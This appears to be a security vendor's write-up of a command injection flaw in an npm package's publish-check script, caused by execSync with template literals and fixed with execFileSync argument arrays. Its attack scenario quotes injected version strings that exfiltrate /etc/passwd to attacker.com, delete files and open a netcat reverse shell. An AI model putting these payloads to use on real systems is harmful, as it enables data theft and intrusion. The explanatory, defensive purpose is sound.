How Command Injection happens in Node.js child_process calls and how to fix it

The Problem with Shell Strings and Version Numbers

The scripts/check-publish-status.js file in the mcp-wordpress package performs a routine task: checking whether a given package version has been published to NPM. It accepts a version argument and uses it to query the NPM registry. Simple enough — but the way that version was woven into shell commands created a high-severity command injection vulnerability.

At line 27, the original code used Node.js's execSync to run npm commands, building the command string by directly interpolating the version parameter:

execSync(`npm view ${PACKAGE_NAME}@${version} version`, {
  encoding: "utf-8",
});

This pattern — a template literal containing an external variable passed to execSync — is exactly the kind of construct that Semgrep's javascript.lang.security.detect-child-process.detect-child-process rule is designed to catch. And for good reason.

The Vulnerability Explained

What Makes This Dangerous

execSync works by passing the entire string to the system shell (/bin/sh on Unix, cmd.exe on Windows). The shell then parses and executes it. That means any shell metacharacters present in the string — ;, &&, |, $(), backticks — are interpreted as shell syntax, not as data.

Here's the vulnerable code pattern in full context:

// VULNERABLE — before the fix
async function checkNPM(version) {
  // ...
  if (version) {
    try {
      execSync(`npm view ${PACKAGE_NAME}@${version} version`, {
        encoding: "utf-8",
      });
      console.log(`✅ Version ${version} exists on NPM`);
    } catch {
      console.log(`❌ Version ${version} NOT found on NPM`);
      return false;
    }
  }

  const publishTime = execSync(`npm view ${PACKAGE_NAME} time.${version || npmVersion}`, {
    encoding: "utf-8",
  }).trim();

The version variable flows directly into two separate execSync calls. If an attacker can control the value of version, they control what the shell executes.

A Concrete Attack Scenario

Imagine this script is called programmatically by a CI/CD pipeline, a webhook handler, or a parent process that accepts external input:

node scripts/check-publish-status.js "1.0.0; curl https://attacker.com/exfil?data=$(cat /etc/passwd) #"

The shell would see:

npm view mcp-wordpress@1.0.0; curl https://attacker.com/exfil?data=$(cat /etc/passwd) # version

The semicolon terminates the npm command, and the curl command runs in the same shell context — exfiltrating /etc/passwd to an attacker's server. The # comments out the trailing version argument to avoid syntax errors.

More subtle injections are also possible:

// version = "1.0.0 && rm -rf /tmp/important-data"
// version = "1.0.0 | nc attacker.com 4444 -e /bin/sh"

Real-World Impact for This Package

mcp-wordpress is a Node.js library consumed by downstream users. While this script lives in the scripts/ directory and is primarily a developer utility, the risk is real in several scenarios:

• Automated release pipelines that pass version strings from external sources (GitHub webhooks, API responses, user input) into this script
• CI/CD systems where the version parameter originates from a pull request title, tag name, or environment variable that an attacker could influence
• Chained exploits where another vulnerability in the codebase allows an attacker to influence the version argument passed to checkNPM()

Even if the immediate exploitability is low, this is an exploit primitive — a code pattern that automated attack tooling can identify and chain with other weaknesses.

The Fix

Switching from execSync to execFileSync

The fix is elegant and complete: replace every execSync shell-string call with execFileSync using an argument array.

Before (vulnerable):

execSync(`npm view ${PACKAGE_NAME}@${version} version`, {
  encoding: "utf-8",
});

After (fixed):

execFileSync("npm", ["view", PACKAGE_NAME + "@" + version, "version"], {
  encoding: "utf-8",
});

And for the publish time check:

Before (vulnerable):

const publishTime = execSync(`npm view ${PACKAGE_NAME} time.${version || npmVersion}`, {
  encoding: "utf-8",
}).trim();

After (fixed):

const publishTime = execFileSync("npm", ["view", PACKAGE_NAME, "time." + (version || npmVersion)], {
  encoding: "utf-8",
}).trim();

Why This Works

execFileSync (and its sibling spawnSync) do not invoke a shell. Instead, they call the OS's execve system call directly, passing arguments as a proper array. The operating system hands each array element to the process as a discrete argument — no shell parsing, no metacharacter interpretation, no interpolation.

If version contains ; rm -rf / when passed to execFileSync, npm receives the literal string mcp-wordpress@; rm -rf / as its argument and will simply fail to find a package with that name. The shell never sees it.

The fix also removes template literals from the console.log calls, replacing them with string concatenation. While this doesn't affect security directly (template literals in log statements are safe), it's consistent defensive hygiene that eliminates the visual pattern of interpolation throughout the function.

Prevention & Best Practices

1. Always Prefer execFileSync / spawnSync Over execSync

The rule is simple: if you don't need a shell, don't use one.

// ❌ Dangerous — invokes shell
execSync(`git log --oneline ${userInput}`);

// ✅ Safe — no shell, arguments are data
execFileSync("git", ["log", "--oneline", userInput]);

2. If You Must Use execSync, Validate Strictly

If you have a legitimate reason to use execSync, apply strict allowlist validation before interpolation:

// Only allow semver-formatted version strings
const SEMVER_PATTERN = /^\d+\.\d+\.\d+(-[a-zA-Z0-9.]+)?$/;

if (!SEMVER_PATTERN.test(version)) {
  throw new Error(`Invalid version format: ${version}`);
}
execSync(`npm view package@${version} version`);

Note: This is defense-in-depth, not a replacement for execFileSync. Validation can be bypassed; argument arrays cannot be.

3. Use Static Analysis in Your CI Pipeline

Semgrep's rule javascript.lang.security.detect-child-process.detect-child-process caught this vulnerability automatically. Add Semgrep to your CI pipeline:

# .github/workflows/security.yml
- name: Run Semgrep
  uses: semgrep/semgrep-action@v1
  with:
    config: p/nodejs

4. Audit All child_process Imports

Any file that imports from child_process deserves a security review. Search your codebase:

grep -rn "child_process" --include="*.js" --include="*.ts" .
grep -rn "execSync\|exec\b\|spawn" --include="*.js" --include="*.ts" .

5. Relevant Security Standards

• OWASP A03:2021 – Injection: Command injection is a member of the injection family, the third most critical web application risk
• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• CWE-88: Improper Neutralization of Argument Delimiters in a Command (Argument Injection)

Key Takeaways

• execSync with template literals is inherently dangerous — every use of execSync(\...\${variable}...`)` is a potential command injection waiting for the right input path
• The version parameter in checkNPM() was the specific taint source — it flowed unsanitized into two separate shell commands in check-publish-status.js
• execFileSync with argument arrays is the correct fix, not input sanitization — bypassing the shell entirely is categorically safer than trying to sanitize shell metacharacters
• Developer utility scripts are not immune to security review — scripts in the scripts/ directory can be called programmatically and deserve the same scrutiny as application code
• Exploit primitives matter even when not immediately exploitable — this pattern could be chained with other weaknesses by automated attack tools, making proactive removal valuable

How Orbis AppSec Detected This

• Source: The version function argument in checkNPM(version) — a string parameter that could originate from command-line input, CI/CD pipeline variables, or programmatic callers
• Sink: execSync(\npm view ${PACKAGE_NAME}@${version} version`)atscripts/check-publish-status.js:27` — a shell execution call that interpolates the tainted value directly into the command string
• Missing control: No validation, sanitization, or allowlist check on version before interpolation; no use of shell-bypassing APIs
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• Fix: Replaced both execSync template literal calls with execFileSync plus argument arrays, eliminating shell interpretation entirely

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

A single function — checkNPM(version) in scripts/check-publish-status.js — contained two instances of a high-severity command injection pattern. The root cause was straightforward: using execSync with template literals that included an unsanitized function argument. The fix was equally straightforward: switch to execFileSync with argument arrays.

What makes this case instructive is that the script's purpose is benign (checking publish status) and the argument seems innocuous (a version string). But security vulnerabilities don't care about intent. Any time external data flows into a shell command string, the door is open for injection.

The lesson for Node.js developers: treat every execSync call with a variable in the string as a code smell. Reach for execFileSync or spawnSync by default, reserve shell execution for cases where you genuinely need shell features (pipes, globbing, redirects), and when you do use it, validate input with a strict allowlist first.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP Command Injection Defense Cheat Sheet
• Node.js child_process.execFileSync Documentation
• Semgrep Rule: javascript.lang.security.detect-child-process
• harden: sanitize child_process call in check-publish-status.js...